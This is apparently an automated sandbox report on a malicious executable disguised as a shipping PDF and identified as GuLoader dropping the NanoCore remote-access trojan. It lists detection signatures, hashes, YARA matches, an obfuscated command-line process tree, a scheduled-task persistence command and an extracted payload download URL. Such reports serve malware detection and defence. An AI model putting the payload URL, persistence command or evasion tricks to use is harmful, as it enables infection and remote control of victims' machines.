Edit tour

Windows Analysis Report
Original Shipment_Document.PDF.exe

Overview

General Information

Sample Name:	Original Shipment_Document.PDF.exe
Analysis ID:	679174
MD5:	626cdeaa4696c819fd07921073f6c740
SHA1:	b094f5e4c3792a05b7f307ad78d2e52cfcbf87b4
SHA256:	d8519cee2bbf5c257375b339d530b33f275db40c06de0f96911eb5b4f207f2c5
Infos:

Detection

Nanocore, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Sigma detected: NanoCore

Detected Nanocore Rat

Yara detected GuLoader

Snort IDS alert for network traffic

Initial sample is a PE file and has a suspicious name

Writes to foreign memory regions

Mass process execution to delay analysis

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Yara detected Generic Downloader

Obfuscated command line found

Executable has a suspicious name (potential lure to open the executable)

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses an obfuscated file name to hide its real file extension (double extension)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses 32bit PE files

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Too many similar processes found

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

PE / OLE file has an invalid certificate

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64native

Original Shipment_Document.PDF.exe (PID: 2660 cmdline: "C:\Users\user\Desktop\Original Shipment_Document.PDF.exe" MD5: 626CDEAA4696C819FD07921073F6C740)

cmd.eXe (PID: 6136 cmdline: cmd.eXe /c SeT /a "0x721C070B^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 2128 cmdline: cmd.eXe /c SeT /a "0x7C156677^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 5048 cmdline: cmd.eXe /c SeT /a "0x03631637^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

Conhost.exe (PID: 5048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 2836 cmdline: cmd.eXe /c SeT /a "0x5C382120^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 2084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

Conhost.exe (PID: 2836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 4988 cmdline: cmd.eXe /c SeT /a "0x7F303920^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 1692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 3360 cmdline: cmd.eXe /c SeT /a "0x78713865^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 7080 cmdline: cmd.eXe /c SeT /a "0x4B6D7569^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 1956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 1860 cmdline: cmd.eXe /c SeT /a "0x19307575^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 4156 cmdline: cmd.eXe /c SeT /a "0x41616575^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

Conhost.exe (PID: 7364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

conhost.exe (PID: 5560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

schtasks.exe (PID: 908 cmdline: schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp6DD1.tmp MD5: 478BEAEC1C3A9417272BC8964ADD1CEE)

conhost.exe (PID: 2212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 7304 cmdline: cmd.eXe /c SeT /a "0x09696575^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 7396 cmdline: cmd.eXe /c SeT /a "0x0975752C^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 7404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 6784 cmdline: cmd.eXe /c SeT /a "0x19697965^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

Conhost.exe (PID: 5720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 748 cmdline: cmd.eXe /c SeT /a "0x49796569^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 7876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 6148 cmdline: cmd.eXe /c SeT /a "0x19307571^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 7472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 6448 cmdline: cmd.eXe /c SeT /a "0x15793C65^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 6572 cmdline: cmd.eXe /c SeT /a "0x09216D75^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 4308 cmdline: cmd.eXe /c SeT /a "0x15793C65^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.eXe (PID: 4888 cmdline: cmd.eXe /c SeT /a "0x09703C6B^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 2952 cmdline: cmd.eXe /c SeT /a "0x4B6C7578^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 2084 cmdline: cmd.eXe /c SeT /a "0x721C070B^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.eXe (PID: 6688 cmdline: cmd.eXe /c SeT /a "0x7C156677^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 8188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 8000 cmdline: cmd.eXe /c SeT /a "0x0363032C^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 6164 cmdline: cmd.eXe /c SeT /a "0x4B2D2024^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 5788 cmdline: cmd.eXe /c SeT /a "0x55183929^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 408 cmdline: cmd.eXe /c SeT /a "0x563A7D2C^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 7372 cmdline: cmd.eXe /c SeT /a "0x09753C65^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

Conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 7288 cmdline: cmd.eXe /c SeT /a "0x09216475^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 7284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 4128 cmdline: cmd.eXe /c SeT /a "0x09696575^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 5272 cmdline: cmd.eXe /c SeT /a "0x15793C65^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 7876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 4804 cmdline: cmd.eXe /c SeT /a "0x09216675^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 7472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 3380 cmdline: cmd.eXe /c SeT /a "0x09697965^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 3976 cmdline: cmd.eXe /c SeT /a "0x5079653D^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 2592 cmdline: cmd.eXe /c SeT /a "0x0D697C35^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 6172 cmdline: cmd.eXe /c SeT /a "0x172B6478^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 7616 cmdline: cmd.eXe /c SeT /a "0x721C070B^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 4728 cmdline: cmd.eXe /c SeT /a "0x7C156677^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 2836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 1272 cmdline: cmd.eXe /c SeT /a "0x03630620^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 8188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 6360 cmdline: cmd.eXe /c SeT /a "0x4D1F3C29^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

Conhost.exe (PID: 420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 5828 cmdline: cmd.eXe /c SeT /a "0x5C093A2C^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

Conhost.exe (PID: 5788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 368 cmdline: cmd.eXe /c SeT /a "0x572D3037^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 7364 cmdline: cmd.eXe /c SeT /a "0x11307537^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 7420 cmdline: cmd.eXe /c SeT /a "0x0C75752C^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 3440 cmdline: cmd.eXe /c SeT /a "0x19686375^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 1436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

Conhost.exe (PID: 3440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 5720 cmdline: cmd.eXe /c SeT /a "0x09697569^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 6808 cmdline: cmd.eXe /c SeT /a "0x19307575^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

Conhost.exe (PID: 7472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 3524 cmdline: cmd.eXe /c SeT /a "0x15307575^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

Conhost.exe (PID: 3380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 3292 cmdline: cmd.eXe /c SeT /a "0x10307B37^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

Conhost.exe (PID: 3292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 6252 cmdline: cmd.eXe /c SeT /a "0x0A64721C^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 6952 cmdline: cmd.eXe /c SeT /a "0x721C070B^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 3016 cmdline: cmd.eXe /c SeT /a "0x7C156677^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 1512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 4636 cmdline: cmd.eXe /c SeT /a "0x03630720^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 7588 cmdline: cmd.eXe /c SeT /a "0x583D132C^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 6120 cmdline: cmd.eXe /c SeT /a "0x553C7D2C^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 2644 cmdline: cmd.eXe /c SeT /a "0x4B6C7965^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 7780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 6360 cmdline: cmd.eXe /c SeT /a "0x50792774^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.eXe (PID: 5828 cmdline: cmd.eXe /c SeT /a "0x15793C65^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.eXe (PID: 424 cmdline: cmd.eXe /c SeT /a "0x09216475^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 7412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.eXe (PID: 6888 cmdline: cmd.eXe /c SeT /a "0x09696575^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.eXe (PID: 7384 cmdline: cmd.eXe /c SeT /a "0x15733C65^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.eXe (PID: 1436 cmdline: cmd.eXe /c SeT /a "0x0975752C^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.eXe (PID: 5044 cmdline: cmd.eXe /c SeT /a "0x19697C2C^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.eXe (PID: 5688 cmdline: cmd.eXe /c SeT /a "0x172B6678^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.eXe (PID: 3524 cmdline: cmd.eXe /c SeT /a "0x4C2A3037^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.eXe (PID: 3060 cmdline: cmd.eXe /c SeT /a "0x0A6B6F7F^962155845" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

CasPol.exe (PID: 4156 cmdline: "C:\Users\user\Desktop\Original Shipment_Document.PDF.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

CasPol.exe (PID: 6004 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe 0 MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

conhost.exe (PID: 5856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://drive.google.com/uc?export=download&id=1RTjXzM3oLxMQRuQuQg9TR4kX_hPJtp2r"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000088.00000000.185799522780.0000000000E30000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x1ee2:$a: NanoCore 0x1f07:$a: NanoCore 0x1f60:$a: NanoCore 0x120fd:$a: NanoCore 0x12123:$a: NanoCore 0x1217f:$a: NanoCore 0x1efd4:$a: NanoCore 0x1f02d:$a: NanoCore 0x1f060:$a: NanoCore 0x1f28c:$a: NanoCore 0x1f308:$a: NanoCore 0x1f921:$a: NanoCore 0x1fa6a:$a: NanoCore 0x1ff3e:$a: NanoCore 0x20225:$a: NanoCore 0x2023c:$a: NanoCore 0x235c5:$a: NanoCore 0x2497f:$a: NanoCore 0x249c9:$a: NanoCore 0x25623:$a: NanoCore 0x2ac08:$a: NanoCore
00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Nanocore_d8c4e3c5	unknown	unknown	0x1f07:$a1: NanoCore.ClientPluginHost 0x12123:$a1: NanoCore.ClientPluginHost 0x1f28c:$a1: NanoCore.ClientPluginHost 0x2497f:$a1: NanoCore.ClientPluginHost 0x2ac08:$a1: NanoCore.ClientPluginHost 0x35217:$a1: NanoCore.ClientPluginHost 0x3f642:$a1: NanoCore.ClientPluginHost 0x4a61f:$a1: NanoCore.ClientPluginHost 0x563c1:$a1: NanoCore.ClientPluginHost 0x7b2c5:$a1: NanoCore.ClientPluginHost 0x8a705:$a1: NanoCore.ClientPluginHost 0x1ee2:$a2: NanoCore.ClientPlugin 0x120fd:$a2: NanoCore.ClientPlugin 0x1f308:$a2: NanoCore.ClientPlugin 0x249c9:$a2: NanoCore.ClientPlugin 0x2ac82:$a2: NanoCore.ClientPlugin 0x35301:$a2: NanoCore.ClientPlugin 0x3f6e2:$a2: NanoCore.ClientPlugin 0x4a5f6:$a2: NanoCore.ClientPlugin 0x56398:$a2: NanoCore.ClientPlugin 0x7b29c:$a2: NanoCore.ClientPlugin
00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: CasPol.exe PID: 4156	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x40e57:$a: NanoCore 0x40f53:$a: NanoCore 0x74ec5:$a: NanoCore 0x74eea:$a: NanoCore 0x74f43:$a: NanoCore 0x789df:$a: NanoCore 0x78a02:$a: NanoCore 0x78a57:$a: NanoCore 0x83b6e:$a: NanoCore 0x83b92:$a: NanoCore 0x83bea:$a: NanoCore 0x8b060:$a: NanoCore 0x8b0b9:$a: NanoCore 0x8b0df:$a: NanoCore 0x8b475:$a: NanoCore 0x8b4b9:$a: NanoCore 0x8b4fc:$a: NanoCore 0x8b54f:$a: NanoCore 0x8b57e:$a: NanoCore 0x8b784:$a: NanoCore 0x8b7f8:$a: NanoCore
Process Memory Space: CasPol.exe PID: 4156	Windows_Trojan_Nanocore_d8c4e3c5	unknown	unknown	0x74eea:$a1: NanoCore.ClientPluginHost 0x74ec5:$a2: NanoCore.ClientPlugin 0x7882d:$b1: get_BuilderSettings 0x74edb:$b4: IClientAppHost 0x8d129:$b7: LogClientException 0x8f29f:$b8: PipeExists 0x7cd00:$b9: IClientLoggingHost
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
136.3.CasPol.exe.1ed365d7.1.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x3831:$x1: NanoCore.ClientPluginHost 0x386a:$x2: IClientNetworkHost
136.3.CasPol.exe.1ed365d7.1.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x3831:$x2: NanoCore.ClientPluginHost 0x394c:$s4: PipeCreated 0x384b:$s5: IClientLoggingHost
136.3.CasPol.exe.1ed365d7.1.unpack	MALWARE_Win_NanoCore	Detects NanoCore	ditekSHen	0x38ab:$x2: NanoCore.ClientPlugin 0x3831:$x3: NanoCore.ClientPluginHost 0x38c1:$i3: IClientNetwork 0x384b:$i6: IClientLoggingHost 0x386a:$i7: IClientNetworkHost 0x35cb:$s1: ClientPlugin 0x38b4:$s1: ClientPlugin
136.3.CasPol.exe.1ed365d7.1.unpack	Windows_Trojan_Nanocore_d8c4e3c5	unknown	unknown	0x3831:$a1: NanoCore.ClientPluginHost 0x38ab:$a2: NanoCore.ClientPlugin 0x3fcc:$b7: LogClientException 0x384b:$b9: IClientLoggingHost
136.3.CasPol.exe.1ed1c57e.2.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x6da5:$x1: NanoCore.ClientPluginHost 0x6dd2:$x2: IClientNetworkHost
136.3.CasPol.exe.1ed1c57e.2.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x6da5:$x2: NanoCore.ClientPluginHost 0x7d74:$s2: FileCommand 0xc776:$s4: PipeCreated 0x6dbf:$s5: IClientLoggingHost
136.3.CasPol.exe.1ed1c57e.2.unpack	MALWARE_Win_NanoCore	Detects NanoCore	ditekSHen	0x6d7f:$x2: NanoCore.ClientPlugin 0x6da5:$x3: NanoCore.ClientPluginHost 0x6d70:$i3: IClientNetwork 0x6d95:$i5: IClientDataHost 0x6dbf:$i6: IClientLoggingHost 0x6dd2:$i7: IClientNetworkHost 0x6de5:$i9: IClientNameObjectCollection 0x6b02:$s1: ClientPlugin 0x6d88:$s1: ClientPlugin
136.3.CasPol.exe.1ed1c57e.2.unpack	Windows_Trojan_Nanocore_d8c4e3c5	unknown	unknown	0x6da5:$a1: NanoCore.ClientPluginHost 0x6d7f:$a2: NanoCore.ClientPlugin 0x6dbf:$b9: IClientLoggingHost
